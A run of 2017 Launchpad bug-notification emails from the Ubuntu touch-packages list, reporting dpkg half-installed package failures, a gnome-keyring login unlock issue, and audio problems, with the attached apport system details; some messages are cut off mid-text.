base-files:amd64: Configure NULL: ConfigurePending Architecture: amd64 Date: Sun Oct 8 11:06:27 2017 DpkgTerminalLog: dpkg: error processing package base-files (--configure): package base-files is not ready for configuration cannot configure (current status 'half-installed') ErrorMessage: package base-files is not ready for configuration cannot configure (current status 'half-installed') InstallationDate: Installed on 2017-06-04 (125 days ago) InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412) RelatedPackageVersions: dpkg 1.18.10ubuntu2 apt 1.4.6~17.04.1 SourcePackage: base-files Title: package base-files 9.6ubuntu13 failed to install/upgrade: package base-files is not ready for configuration cannot configure (current status 'half-installed') UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/base-files/+bug/1722047/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1708682] [NEW] package whoopsie 0.2.55 failed to install/upgrade: El paquete está en un estado grave de inconsistencia - debe reinstalarlo antes de intentar su configuración.
Public bug reported: I don't know anything about this error. ProblemType: Package DistroRelease: Ubuntu 17.04 Package: whoopsie 0.2.55 ProcVersionSignature: Ubuntu 4.10.0-26.30-generic 4.10.17 Uname: Linux 4.10.0-26-generic x86_64 ApportVersion: 2.20.4-0ubuntu4.5 Architecture: amd64 CrashReports: 600:113:122:0:2017-07-28 18:00:51.198155694 +0200:2017-07-28 18:00:51.198155694 +0200:/var/crash/_usr_share_spotify_spotify.1000.uploaded 644:1000:122:0:2017-07-28 18:00:50.166505810 +0200:2017-07-28 18:00:50.166505810 +0200:/var/crash/_usr_share_spotify_spotify.1000.upload 640:1000:122:12888503:2017-07-28 18:00:49.162507057 +0200:2017-07-28 18:00:50.166505810 +0200:/var/crash/_usr_share_spotify_spotify.1000.crash 600:0:122:121616:2017-08-04 17:29:46.850206375 +0200:2017-08-04 17:29:47.850206375 +0200:/var/crash/whoopsie.0.crash Date: Fri Aug 4 17:29:47 2017 ErrorMessage: El paquete está en un estado grave de inconsistencia - debe reinstalarlo antes de intentar su configuración. InstallationDate: Installed on 2017-05-19 (76 days ago) InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412) RelatedPackageVersions: apport-noui N/A SourcePackage: whoopsie Title: package whoopsie 0.2.55 failed to install/upgrade: El paquete está en un estado grave de inconsistencia - debe reinstalarlo antes de intentar su configuración. UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: whoopsie (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package autoreport-false zesty -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to whoopsie in Ubuntu. https://bugs.launchpad.net/bugs/1708682 Title: package whoopsie 0.2.55 failed to install/upgrade: El paquete está en un estado grave de inconsistencia - debe reinstalarlo antes de intentar su configuración. Status in whoopsie package in Ubuntu: New Bug description: I don't know anything about this error. ProblemType: Package DistroRelease: Ubuntu 17.04 Package: whoopsie 0.2.55 ProcVersionSignature: Ubuntu 4.10.0-26.30-generic 4.10.17 Uname: Linux 4.10.0-26-generic x86_64 ApportVersion: 2.20.4-0ubuntu4.5 Architecture: amd64 CrashReports: 600:113:122:0:2017-07-28 18:00:51.198155694 +0200:2017-07-28 18:00:51.198155694 +0200:/var/crash/_usr_share_spotify_spotify.1000.uploaded 644:1000:122:0:2017-07-28 18:00:50.166505810 +0200:2017-07-28 18:00:50.166505810 +0200:/var/crash/_usr_share_spotify_spotify.1000.upload 640:1000:122:12888503:2017-07-28 18:00:49.162507057 +0200:2017-07-28 18:00:50.166505810 +0200:/var/crash/_usr_share_spotify_spotify.1000.crash 600:0:122:121616:2017-08-04 17:29:46.850206375 +0200:2017-08-04 17:29:47.850206375 +0200:/var/crash/whoopsie.0.crash Date: Fri Aug 4 17:29:47 2017 ErrorMessage: El paquete está en un estado grave de inconsistencia - debe reinstalarlo antes de intentar su configuración. InstallationDate: Installed on 2017-05-19 (76 days ago) InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412) RelatedPackageVersions: apport-noui N/A SourcePackage: whoopsie Title: package whoopsie 0.2.55 failed to install/upgrade: El paquete está en un estado grave de inconsistencia - debe reinstalarlo antes de intentar su configuración. UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1708682/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1689825] Re: gnome-keyring not unlocked on boot
Thank you, I really don't think that this is a good solution On 07/18/2017 03:53 PM, Gunnar Hjalmarsson wrote: > dbus-user-session is a dependency of the desktop meta packages, so > uninstalling it means that you on Unity uninstall ubuntu-session and > ubuntu-desktop, on GNOME Flashback you uninstall gnome-session-flashback > etc. > -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1689825 Title: gnome-keyring not unlocked on boot Status in D-Bus: New Status in chromium-browser package in Ubuntu: Invalid Status in flatpak package in Ubuntu: Confirmed Status in gdm package in Ubuntu: Confirmed Status in gnome-keyring package in Ubuntu: Confirmed Status in libgnome-keyring package in Ubuntu: Confirmed Status in lightdm package in Ubuntu: Confirmed Bug description: 1) Release: 16.04.2 2) gnome-keyring: 3.18.3-0ubuntu2 3) Login. gnome-keyring unlocks "login" features including for google chrome 4) gnome-keyring is not unlocked, chrome takes 2 minutes to open and with no secure password features(sync) functioning. For the past couple days, chrome on Ubuntu 16.04 takes a REALLY long time (maybe 2 minutes) to start. Once chrome is started, I am not able to sync and any secure password features are broken. I found out this is due to gnome-keyring not being unlocked at login. There's also no way to unlock the "login" portion of the keyring from the running daemon by default. I have to kill the gnome-keyring process and start without "--login" as a parameter. Then the "login" section shows up which I'm able to unlock. From there chrome starts up instantly but asks the following: Enter password to unlock your login keyring The login keyring did not get unlocked when you logged into your computer After that, all of it's sync and secure features are functional. Starting google-chrome-stable from a command line at boot without running the above workaround shows the following error messages: Gkr-Message: secret service operation failed: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. Gkr-Message: secret service operation failed: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. [4364:4393:0510/100407.740292:ERROR:token_service_table.cc(130)] Failed to decrypt token for service AccountId-108842767310111573264 [4364:4445:0510/100407.740292:ERROR:gcm_store_impl.cc(929)] Failed to restore security token. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: gnome-keyring 3.18.3-0ubuntu2 ProcVersionSignature: Ubuntu 4.8.0-52.55~16.04.1-generic 4.8.17 Uname: Linux 4.8.0-52-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.5 Architecture: amd64 CurrentDesktop: GNOME-Flashback:Unity Date: Wed May 10 09:43:37 2017 SourcePackage: gnome-keyring UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/dbus/+bug/1689825/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1689825] Re: gnome-keyring not unlocked on boot
I've not tried it yet, but I'm sure that uninstalling dbus-user-session works as a workaround. what concerns me is what consequences will this have. I checked 16.10 and 17.04 and both have dbus-user-session installed by default. When I install chrome I don't seem to get the same issues. I haven't installed flatpak to see if that recreates the problem on 17. So how does removing dbus-user-session solve this problem? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1689825 Title: gnome-keyring not unlocked on boot Status in D-Bus: New Status in chromium-browser package in Ubuntu: Invalid Status in flatpak package in Ubuntu: Confirmed Status in gdm package in Ubuntu: Confirmed Status in gnome-keyring package in Ubuntu: Confirmed Status in libgnome-keyring package in Ubuntu: Confirmed Status in lightdm package in Ubuntu: Confirmed Bug description: 1) Release: 16.04.2 2) gnome-keyring: 3.18.3-0ubuntu2 3) Login. gnome-keyring unlocks "login" features including for google chrome 4) gnome-keyring is not unlocked, chrome takes 2 minutes to open and with no secure password features(sync) functioning. For the past couple days, chrome on Ubuntu 16.04 takes a REALLY long time (maybe 2 minutes) to start. Once chrome is started, I am not able to sync and any secure password features are broken. I found out this is due to gnome-keyring not being unlocked at login. There's also no way to unlock the "login" portion of the keyring from the running daemon by default. I have to kill the gnome-keyring process and start without "--login" as a parameter. Then the "login" section shows up which I'm able to unlock. From there chrome starts up instantly but asks the following: Enter password to unlock your login keyring The login keyring did not get unlocked when you logged into your computer After that, all of it's sync and secure features are functional. Starting google-chrome-stable from a command line at boot without running the above workaround shows the following error messages: Gkr-Message: secret service operation failed: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. Gkr-Message: secret service operation failed: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. [4364:4393:0510/100407.740292:ERROR:token_service_table.cc(130)] Failed to decrypt token for service AccountId-108842767310111573264 [4364:4445:0510/100407.740292:ERROR:gcm_store_impl.cc(929)] Failed to restore security token. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: gnome-keyring 3.18.3-0ubuntu2 ProcVersionSignature: Ubuntu 4.8.0-52.55~16.04.1-generic 4.8.17 Uname: Linux 4.8.0-52-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.5 Architecture: amd64 CurrentDesktop: GNOME-Flashback:Unity Date: Wed May 10 09:43:37 2017 SourcePackage: gnome-keyring UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/dbus/+bug/1689825/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1704570] [NEW] [Inspiron 15-3555, Realtek ALC3234, Mic, Internal] Recording problem
Public bug reported: people over the other side cant hear voice ..something is wrong with input microphone ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.4.0-79.100-generic 4.4.67 Uname: Linux 4.4.0-79-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC1D0p: bismi 1759 F...m pulseaudio /dev/snd/controlC1: bismi 1759 F pulseaudio /dev/snd/controlC0: bismi 1759 F pulseaudio CurrentDesktop: Unity Date: Sat Jul 15 21:05:30 2017 InstallationDate: Installed on 2017-02-15 (149 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) PackageArchitecture: all ProcEnviron: LANGUAGE=en_IN:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaRecordingTest: ALSA recording test through plughw:Generic failed Symptom_Card: Built-in Audio - HD-Audio Generic Symptom_Jack: Mic, Internal Symptom_Type: None of the above Title: [Inspiron 15-3555, Realtek ALC3234, Mic, Internal] Recording problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/28/2016 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.0.1 dmi.board.name: Inspiron 15-3555 dmi.board.vendor: Dell Inc. dmi.board.version: 1.0.1 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvr1.0.1:bd01/28/2016:svnDellInc.:pnInspiron15-3555:pvrNotSpecified:rvnDellInc.:rnInspiron15-3555:rvr1.0.1:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 15-3555 dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. ** Affects: alsa-driver (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1704570 Title: [Inspiron 15-3555, Realtek ALC3234, Mic, Internal] Recording problem Status in alsa-driver package in Ubuntu: New Bug description: people over the other side cant hear voice ..something is wrong with input microphone ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.4.0-79.100-generic 4.4.67 Uname: Linux 4.4.0-79-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC1D0p: bismi 1759 F...m pulseaudio /dev/snd/controlC1: bismi 1759 F pulseaudio /dev/snd/controlC0: bismi 1759 F pulseaudio CurrentDesktop: Unity Date: Sat Jul 15 21:05:30 2017 InstallationDate: Installed on 2017-02-15 (149 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) PackageArchitecture: all ProcEnviron: LANGUAGE=en_IN:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaRecordingTest: ALSA recording test through plughw:Generic failed Symptom_Card: Built-in Audio - HD-Audio Generic Symptom_Jack: Mic, Internal Symptom_Type: None of the above Title: [Inspiron 15-3555, Realtek ALC3234, Mic, Internal] Recording problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/28/2016 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.0.1 dmi.board.name: Inspiron 15-3555 dmi.board.vendor: Dell Inc. dmi.board.version: 1.0.1 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvr1.0.1:bd01/28/2016:svnDellInc.:pnInspiron15-3555:pvrNotSpecified:rvnDellInc.:rnInspiron15-3555:rvr1.0.1:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 15-3555 dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1704570/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1701033] [NEW] no tengo sonido
Public bug reported: al instalar elementari OS ME ENCUENTRO SIN SONIDO EN EL ORDENADOR , que puede pasar? ProblemType: Bug DistroRelease: elementary 0.4.1 Package: xorg 1:7.7+13ubuntu3 [origin: Ubuntu] ProcVersionSignature: Ubuntu 4.8.0-56.61~16.04.1-generic 4.8.17 Uname: Linux 4.8.0-56-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.6 Architecture: amd64 BootLog: /dev/sda1: clean, 283988/2138112 files, 2119562/8544768 blocks CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Wed Jun 28 18:40:33 2017 DistUpgraded: Fresh install DistroCodename: loki DistroVariant: ubuntu DkmsStatus: bcmwl, 6.30.223.271+bdcom, 4.8.0-54-generic, x86_64: installed bcmwl, 6.30.223.271+bdcom, 4.8.0-56-generic, x86_64: installed GraphicsCard: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [8086:0412] (rev 06) (prog-if 00 [VGA controller]) Subsystem: ASRock Incorporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [1849:0412] InstallationDate: Installed on 2017-06-04 (24 days ago) InstallationMedia: elementary OS 0.4.1 "Loki" - Stable amd64 (20170517) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-56-generic root=UUID=b6eadee4-6ca4-4c76-8037-cbb775c7f6e8 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/27/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: P2.00 dmi.board.name: H97M Pro4 dmi.board.vendor: ASRock dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrP2.00:bd07/27/2015:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rnH97MPro4:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To Be Filled By O.E.M. dmi.product.version: To Be Filled By O.E.M. dmi.sys.vendor: To Be Filled By O.E.M. version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.70-1~ubuntu16.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 12.0.6-0ubuntu0.16.04.1 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 12.0.6-0ubuntu0.16.04.1 version.xserver-xorg-core: xserver-xorg-core N/A version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A xserver.bootTime: Wed Jun 28 18:39:24 2017 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.18.4-1ubuntu6.1~16.04.1 xserver.video_driver: modeset ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug loki third-party-packages ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1701033 Title: no tengo sonido Status in xorg package in Ubuntu: New Bug description: al instalar elementari OS ME ENCUENTRO SIN SONIDO EN EL ORDENADOR , que puede pasar? ProblemType: Bug DistroRelease: elementary 0.4.1 Package: xorg 1:7.7+13ubuntu3 [origin: Ubuntu] ProcVersionSignature: Ubuntu 4.8.0-56.61~16.04.1-generic 4.8.17 Uname: Linux 4.8.0-56-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.6 Architecture: amd64 BootLog: /dev/sda1: clean, 283988/2138112 files, 2119562/8544768 blocks CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Wed Jun 28 18:40:33 2017 DistUpgraded: Fresh install DistroCodename: loki DistroVariant: ubuntu DkmsStatus: bcmwl, 6.30.223.271+bdcom, 4.8.0-54-generic, x86_64: installed bcmwl, 6.30.223.271+bdcom, 4.8.0-56-generic, x86_64: installed GraphicsCard: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [8086:0412] (rev 06) (prog-if 00 [VGA controller]) Subsystem: ASRock Incorporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [1849:0412] InstallationDate: Installed on 2017-06-04 (24 days ago) InstallationMedia: elementary OS 0.4.1 "Loki" - Stable amd64 (20170517) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-56-generic root=UUID=b6eadee4-6ca4-4c76-8037-cbb775c7f6e8 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/27/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: P2.00
[Touch-packages] [Bug 1699329] [NEW] every upgrade has errors libssl1.0.0:amd64
Public bug reported: dpkg: error processing package libssl1.0.0:amd64 (--configure): package libssl1.0.0:amd64 is not ready for configuration cannot configure (current status 'half-installed') dpkg: dependency problems prevent configuration of openssl: openssl depends on libssl1.0.0 (>= 1.0.2g); however: Package libssl1.0.0:amd64 is not installed. dpkg: error processing package openssl (--configure): dependency problems - leaving unconfigured No apport report written because the error message indicates its a followup error from a previous failure. dpkg: dependency problems prevent configuration of linux-headers-4.8.0-56-generic: linux-headers-4.8.0-56-generic depends on libssl1.0.0 (>= 1.0.0); however: Package libssl1.0.0:amd64 is not installed. dpkg: error processing package linux-headers-4.8.0-56-generic (--configure): dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of linux-headers-generic-hwe-16.04: linux-headers-generic-hwe-16.04 depends on linux-headers-4.8.0-56-generic; however: Package linux-headers-4.8.0-56-generic is not configured yet. dpkg: error processing package linux-headers-generic-hwe-16.04 (--configure): dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of linux-generic-hwe-16.04: linux-generic-hwe-16.04 depends on linux-headers-generic-hwe-16.04 (= 4.8.0.56.27); however: Package linux-headers-generic-hwe-16.04 is not configured yet. dpkg: error processing package linux-generic-hwe-16.04 (--configure): dependency probleNo apport report written because the error message indicates its a followup error from a previous failure. No apport report written because MaxReports is reached already No apport report written because MaxReports is reached already ms - leaving unconfigured Errors were encountered while processing: libssl1.0.0:amd64 openssl linux-headers-4.8.0-56-generic linux-headers-generic-hwe-16.04 linux-generic-hwe-16.04 E: Sub-process /usr/bin/dpkg returned an error code (1) ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libssl1.0.0:amd64 1.0.2g-1ubuntu4.8 ProcVersionSignature: Ubuntu 4.8.0-54.57~16.04.1-generic 4.8.17 Uname: Linux 4.8.0-54-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.6 Architecture: amd64 Date: Tue Jun 20 16:22:32 2017 DuplicateSignature: package:libssl1.0.0:amd64:1.0.2g-1ubuntu4.8 Setting up libc6-dev:amd64 (2.23-0ubuntu9) ... dpkg: error processing package libssl1.0.0:amd64 (--configure): package libssl1.0.0:amd64 is not ready for configuration ErrorMessage: package libssl1.0.0:amd64 is not ready for configuration cannot configure (current status 'half-installed') InstallationDate: Installed on 2017-05-31 (20 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) RelatedPackageVersions: dpkg 1.18.4ubuntu1.2 apt 1.2.20 SourcePackage: openssl Title: package libssl1.0.0:amd64 1.0.2g-1ubuntu4.8 failed to install/upgrade: package libssl1.0.0:amd64 is not ready for configuration cannot configure (current status 'half-installed') UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: openssl (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openssl in Ubuntu. https://bugs.launchpad.net/bugs/1699329 Title: every upgrade has errors libssl1.0.0:amd64 Status in openssl package in Ubuntu: New Bug description: dpkg: error processing package libssl1.0.0:amd64 (--configure): package libssl1.0.0:amd64 is not ready for configuration cannot configure (current status 'half-installed') dpkg: dependency problems prevent configuration of openssl: openssl depends on libssl1.0.0 (>= 1.0.2g); however: Package libssl1.0.0:amd64 is not installed. dpkg: error processing package openssl (--configure): dependency problems - leaving unconfigured No apport report written because the error message indicates its a followup error from a previous failure. dpkg: dependency problems prevent configuration of linux-headers-4.8.0-56-generic: linux-headers-4.8.0-56-generic depends on libssl1.0.0 (>= 1.0.0); however: Package libssl1.0.0:amd64 is not installed. dpkg: error processing package linux-headers-4.8.0-56-generic (--configure): dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of linux-headers-generic-hwe-16.04: linux-headers-generic-hwe-16.04 depends on linux-headers-4.8.0-56-generic; however: Package linux-headers-4.8.0-56-generic is not configured yet. dpkg: error processing package linux-headers-generic-hwe-16.04 (--configure): dependency problems - leaving unconfigured dpkg: dependency
[Touch-packages] [Bug 1563110] Re: No sound on Asus e200ha, intel sst with cx2072x codec
had somebody tryed sound with kernel 4.12? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1563110 Title: No sound on Asus e200ha, intel sst with cx2072x codec Status in ALSA driver: Unknown Status in alsa-driver package in Ubuntu: Fix Committed Status in linux package in Ubuntu: Fix Committed Bug description: I've recently bought an Asus e200ha. Sound in this laptop doesn't work. The sound card is an intel sst with codec conexant cx2072x aplay -l: aplay: device_list:268: no soundcard found... in the sound setting there is a "Dummy output" --- ApportVersion: 2.14.1-0ubuntu3.19 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: XFCE DistroRelease: Ubuntu 14.04 HibernationDevice: RESUME=UUID=7b77dc46-7d5b-4869-83dd-739980736c3a InstallationDate: Installed on 2016-03-28 (0 days ago) InstallationMedia: Linux Mint 17.3 "Rosa" - Release amd64 20160105 Lsusb: Bus 002 Device 002: ID 0781:5583 SanDisk Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13d3:3496 IMC Networks Bus 001 Device 002: ID 04f2:b54b Chicony Electronics Co., Ltd Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. E200HA Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=it_IT.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.19.0-32-generic root=UUID=50fb13c0-a8cd-441d-a38b-c0295c1b9a15 ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.19.0-32.37~14.04.1-generic 3.19.8-ckt7 RelatedPackageVersions: linux-restricted-modules-3.19.0-32-generic N/A linux-backports-modules-3.19.0-32-generic N/A linux-firmware 1.127.16 Tags: rosa Uname: Linux 3.19.0-32-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 11/26/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: E200HA.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: E200HA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrE200HA.203:bd11/26/2015:svnASUSTeKCOMPUTERINC.:pnE200HA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnE200HA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: E200HA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/alsa-driver/+bug/1563110/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1692748] [NEW] el equipo no puede actulizarce
Public bug reported: El equipo no puede actualizar ya que hubo un error , el sistema me dice que active el gestor de paquetes pero tampoco puedo activarlo ya que el sistema no me lo permite por favor necesito ayuda, saludos. ProblemType: Bug DistroRelease: Ubuntu 17.04 Package: xorg 1:7.7+16ubuntu3 ProcVersionSignature: Ubuntu 4.10.0-20.22-generic 4.10.8 Uname: Linux 4.10.0-20-generic i686 .tmp.unity_support_test.0: ApportVersion: 2.20.4-0ubuntu4 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Mon May 22 21:07:51 2017 DistUpgraded: 2017-04-24 08:27:07,949 DEBUG icon theme changed, re-reading DistroCodename: zesty DistroVariant: ubuntu GraphicsCard: Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display [8086:0f31] (rev 0e) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] Atom Processor Z36xxx/Z37xxx Series Graphics & Display [1025:0936] InstallationDate: Installed on 2017-04-03 (50 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release i386 (20161012.2) MachineType: Acer Aspire ES1-512 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.10.0-20-generic root=UUID=e483ca57-0769-4213-9cb0-a725150eac9b ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: Upgraded to zesty on 2017-04-24 (28 days ago) dmi.bios.date: 08/11/2014 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.06 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: Aspire ES1-512 dmi.board.vendor: Acer dmi.board.version: V1.06 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: V1.06 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.06:bd08/11/2014:svnAcer:pnAspireES1-512:pvrV1.06:rvnAcer:rnAspireES1-512:rvrV1.06:cvnAcer:ct10:cvrV1.06: dmi.product.name: Aspire ES1-512 dmi.product.version: V1.06 dmi.sys.vendor: Acer version.compiz: compiz 